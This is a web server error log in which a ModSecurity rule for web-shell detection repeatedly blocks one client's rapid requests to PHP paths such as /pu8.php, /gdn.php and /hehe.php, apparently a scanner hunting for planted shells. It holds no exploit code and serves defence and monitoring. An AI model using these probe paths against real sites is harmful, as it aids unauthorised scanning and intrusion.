[Sun Dec 28 19:59:15.298042 2025] [:error] [pid 42293:tid 42329] [client 4.193.233.56:15522] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aVEbk8vc9B-5cwN385LoLAAAAEY"]
[Sun Dec 28 19:59:15.609789 2025] [:error] [pid 29388:tid 29409] [client 4.193.233.56:15526] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aVEbk9oLv2L2zI_SpdXhdwAAAU0"]
[Sun Dec 28 19:59:15.916123 2025] [:error] [pid 29437:tid 29469] [client 4.193.233.56:15599] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aVEbkxhDotAbVk6pZLfFTAAAAcM"]
[Sun Dec 28 19:59:16.118227 2025] [:error] [pid 29388:tid 29410] [client 4.193.233.56:15549] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aVEblNoLv2L2zI_SpdXhewAAAU4"]
[Sun Dec 28 19:59:16.374966 2025] [:error] [pid 29388:tid 29405] [client 4.193.233.56:16736] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "aVEblNoLv2L2zI_SpdXhfAAAAUk"]
[Sun Dec 28 19:59:16.697530 2025] [:error] [pid 29388:tid 29417] [client 4.193.233.56:16702] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "aVEblNoLv2L2zI_SpdXhgAAAAVU"]
[Sun Dec 28 19:59:17.033309 2025] [:error] [pid 42294:tid 42370] [client 4.193.233.56:16723] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "aVEbldTE5kYcYCOzl9G_KQAAAJQ"]
[Sun Dec 28 19:59:17.326696 2025] [:error] [pid 29436:tid 29443] [client 4.193.233.56:15450] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "aVEblbchzOOtNL9VPNLwgQAAAYQ"]
[Sun Dec 28 19:59:17.645442 2025] [:error] [pid 29436:tid 29448] [client 4.193.233.56:16754] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qV9GbcJwZgK.php"] [unique_id "aVEblbchzOOtNL9VPNLwgwAAAYk"]
[Sun Dec 28 19:59:17.891903 2025] [:error] [pid 29436:tid 29446] [client 4.193.233.56:15609] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qV9GbcJwZgK.php"] [unique_id "aVEblbchzOOtNL9VPNLwhQAAAYc"]
[Sun Dec 28 19:59:18.230180 2025] [:error] [pid 29436:tid 29455] [client 4.193.233.56:15424] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qV9GbcJwZgK.php"] [unique_id "aVEblrchzOOtNL9VPNLwhgAAAZA"]
[Sun Dec 28 19:59:18.726619 2025] [:error] [pid 29436:tid 29451] [client 4.193.233.56:16716] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qV9GbcJwZgK.php"] [unique_id "aVEblrchzOOtNL9VPNLwiQAAAYw"]
[Sun Dec 28 19:59:18.994060 2025] [:error] [pid 42294:tid 42357] [client 4.193.233.56:15490] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu8.php"] [unique_id "aVEbltTE5kYcYCOzl9G_LgAAAIc"]
[Sun Dec 28 19:59:19.224863 2025] [:error] [pid 29436:tid 29458] [client 4.193.233.56:16682] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu8.php"] [unique_id "aVEbl7chzOOtNL9VPNLwiwAAAZM"]
[Sun Dec 28 19:59:19.482653 2025] [:error] [pid 29437:tid 29472] [client 4.193.233.56:15528] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu8.php"] [unique_id "aVEblxhDotAbVk6pZLfFUwAAAcY"]
[Sun Dec 28 19:59:19.773356 2025] [:error] [pid 42293:tid 42330] [client 4.193.233.56:15613] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu8.php"] [unique_id "aVEbl8vc9B-5cwN385LoMAAAAEc"]
[Sun Dec 28 19:59:20.035702 2025] [:error] [pid 42293:tid 42331] [client 4.193.233.56:15590] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/man.php"] [unique_id "aVEbmMvc9B-5cwN385LoMQAAAEg"]
[Sun Dec 28 19:59:20.360763 2025] [:error] [pid 29436:tid 29444] [client 4.193.233.56:15611] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/man.php"] [unique_id "aVEbmLchzOOtNL9VPNLwjgAAAYU"]
[Sun Dec 28 19:59:20.626858 2025] [:error] [pid 29388:tid 29399] [client 4.193.233.56:16696] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/man.php"] [unique_id "aVEbmNoLv2L2zI_SpdXhhgAAAUM"]
[Sun Dec 28 19:59:20.869660 2025] [:error] [pid 42294:tid 42366] [client 4.193.233.56:15505] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/man.php"] [unique_id "aVEbmNTE5kYcYCOzl9G_MAAAAJA"]
[Sun Dec 28 19:59:21.098306 2025] [:error] [pid 42294:tid 42358] [client 4.193.233.56:15485] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aVEbmdTE5kYcYCOzl9G_MgAAAIg"]
[Sun Dec 28 19:59:21.518292 2025] [:error] [pid 29437:tid 29477] [client 4.193.233.56:15454] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aVEbmRhDotAbVk6pZLfFWQAAAcs"]
[Sun Dec 28 19:59:21.861572 2025] [:error] [pid 29388:tid 29405] [client 4.193.233.56:15515] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aVEbmdoLv2L2zI_SpdXhiAAAAUk"]
[Sun Dec 28 19:59:22.124320 2025] [:error] [pid 29388:tid 29397] [client 4.193.233.56:15506] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aVEbmtoLv2L2zI_SpdXhiQAAAUE"]
[Sun Dec 28 19:59:22.339926 2025] [:error] [pid 29388:tid 29417] [client 4.193.233.56:15546] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ce.php"] [unique_id "aVEbmtoLv2L2zI_SpdXhigAAAVU"]
[Sun Dec 28 19:59:22.613318 2025] [:error] [pid 42294:tid 42364] [client 4.193.233.56:15525] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ce.php"] [unique_id "aVEbmtTE5kYcYCOzl9G_NgAAAI4"]
[Sun Dec 28 19:59:22.842572 2025] [:error] [pid 29388:tid 29416] [client 4.193.233.56:15547] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ce.php"] [unique_id "aVEbmtoLv2L2zI_SpdXhiwAAAVQ"]
[Sun Dec 28 19:59:23.520083 2025] [:error] [pid 29436:tid 29453] [client 4.193.233.56:16711] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ce.php"] [unique_id "aVEbm7chzOOtNL9VPNLwkQAAAY4"]
[Sun Dec 28 19:59:23.983353 2025] [:error] [pid 42294:tid 42362] [client 4.193.233.56:15600] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pNRzcP6wtYy.php"] [unique_id "aVEbm9TE5kYcYCOzl9G_NwAAAIw"]
[Sun Dec 28 19:59:24.609454 2025] [:error] [pid 42378:tid 42383] [client 4.193.233.56:15430] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pNRzcP6wtYy.php"] [unique_id "aVEbnDgtcN-KHAjWrX8bwAAAAMM"]
[Sun Dec 28 19:59:24.851426 2025] [:error] [pid 42378:tid 42401] [client 4.193.233.56:15446] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pNRzcP6wtYy.php"] [unique_id "aVEbnDgtcN-KHAjWrX8bwQAAANU"]
[Sun Dec 28 19:59:25.297465 2025] [:error] [pid 29437:tid 29471] [client 4.193.233.56:16763] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pNRzcP6wtYy.php"] [unique_id "aVEbnRhDotAbVk6pZLfFXgAAAcU"]
[Sun Dec 28 19:59:25.565664 2025] [:error] [pid 29437:tid 29482] [client 4.193.233.56:16764] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aVEbnRhDotAbVk6pZLfFXwAAAdA"]
[Sun Dec 28 19:59:25.787108 2025] [:error] [pid 42378:tid 42389] [client 4.193.233.56:15615] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aVEbnTgtcN-KHAjWrX8bwwAAAMk"]
[Sun Dec 28 19:59:26.036107 2025] [:error] [pid 29437:tid 29469] [client 4.193.233.56:15591] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aVEbnhhDotAbVk6pZLfFYgAAAcM"]
[Sun Dec 28 19:59:26.299139 2025] [:error] [pid 29437:tid 29488] [client 4.193.233.56:15470] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aVEbnhhDotAbVk6pZLfFYwAAAdY"]
[Sun Dec 28 19:59:26.507972 2025] [:error] [pid 42292:tid 42305] [client 4.193.233.56:15462] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh1.php"] [unique_id "aVEbnpyOrM_vaFx1osZLEwAAAAk"]
[Sun Dec 28 19:59:26.856625 2025] [:error] [pid 42293:tid 42336] [client 4.193.233.56:15523] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh1.php"] [unique_id "aVEbnsvc9B-5cwN385LoNQAAAE0"]
[Sun Dec 28 19:59:27.263091 2025] [:error] [pid 29436:tid 29442] [client 4.193.233.56:15589] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh1.php"] [unique_id "aVEbn7chzOOtNL9VPNLwlQAAAYM"]
[Sun Dec 28 19:59:27.682652 2025] [:error] [pid 29437:tid 29474] [client 4.193.233.56:15500] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh1.php"] [unique_id "aVEbnxhDotAbVk6pZLfFZAAAAcg"]
[Sun Dec 28 19:59:27.892840 2025] [:error] [pid 42294:tid 42373] [client 4.193.233.56:15614] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/database.php"] [unique_id "aVEbn9TE5kYcYCOzl9G_OQAAAJc"]
[Sun Dec 28 19:59:28.290654 2025] [:error] [pid 29436:tid 29457] [client 4.193.233.56:15514] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/database.php"] [unique_id "aVEboLchzOOtNL9VPNLwmQAAAZI"]
[Sun Dec 28 19:59:28.531600 2025] [:error] [pid 29437:tid 29485] [client 4.193.233.56:15510] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/database.php"] [unique_id "aVEboBhDotAbVk6pZLfFZQAAAdM"]
[Sun Dec 28 19:59:28.816085 2025] [:error] [pid 42293:tid 42344] [client 4.193.233.56:15441] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/database.php"] [unique_id "aVEboMvc9B-5cwN385LoNwAAAFU"]
[Sun Dec 28 19:59:29.262125 2025] [:error] [pid 42293:tid 42341] [client 4.193.233.56:16680] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "aVEbocvc9B-5cwN385LoOAAAAFI"]
[Sun Dec 28 19:59:29.864259 2025] [:error] [pid 42378:tid 42385] [client 4.193.233.56:15604] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "aVEboTgtcN-KHAjWrX8bxgAAAMU"]
[Sun Dec 28 19:59:30.217623 2025] [:error] [pid 29436:tid 29447] [client 4.193.233.56:15569] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "aVEborchzOOtNL9VPNLwmgAAAYg"]
[Sun Dec 28 19:59:30.417791 2025] [:error] [pid 42293:tid 42323] [client 4.193.233.56:15520] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "aVEbosvc9B-5cwN385LoOwAAAEA"]
[Sun Dec 28 19:59:30.713537 2025] [:error] [pid 29436:tid 29445] [client 4.193.233.56:15602] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "aVEborchzOOtNL9VPNLwnQAAAYY"]
[Sun Dec 28 19:59:30.937286 2025] [:error] [pid 29436:tid 29452] [client 4.193.233.56:15498] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "aVEborchzOOtNL9VPNLwnwAAAY0"]
[Sun Dec 28 19:59:31.166680 2025] [:error] [pid 29436:tid 29461] [client 4.193.233.56:15511] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "aVEbo7chzOOtNL9VPNLwoAAAAZY"]
[Sun Dec 28 19:59:31.497328 2025] [:error] [pid 29436:tid 29460] [client 4.193.233.56:15579] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "aVEbo7chzOOtNL9VPNLwoQAAAZU"]
[Sun Dec 28 19:59:31.760603 2025] [:error] [pid 29436:tid 29453] [client 4.193.233.56:15525] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4fk6.php"] [unique_id "aVEbo7chzOOtNL9VPNLwowAAAY4"]
[Sun Dec 28 19:59:32.318265 2025] [:error] [pid 29388:tid 29404] [client 4.193.233.56:15542] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4fk6.php"] [unique_id "aVEbpNoLv2L2zI_SpdXhkQAAAUg"]
[Sun Dec 28 19:59:32.713924 2025] [:error] [pid 42292:tid 42304] [client 4.193.233.56:15543] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4fk6.php"] [unique_id "aVEbpJyOrM_vaFx1osZLFwAAAAg"]
[Sun Dec 28 19:59:32.938929 2025] [:error] [pid 29436:tid 29455] [client 4.193.233.56:15491] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4fk6.php"] [unique_id "aVEbpLchzOOtNL9VPNLwqAAAAZA"]
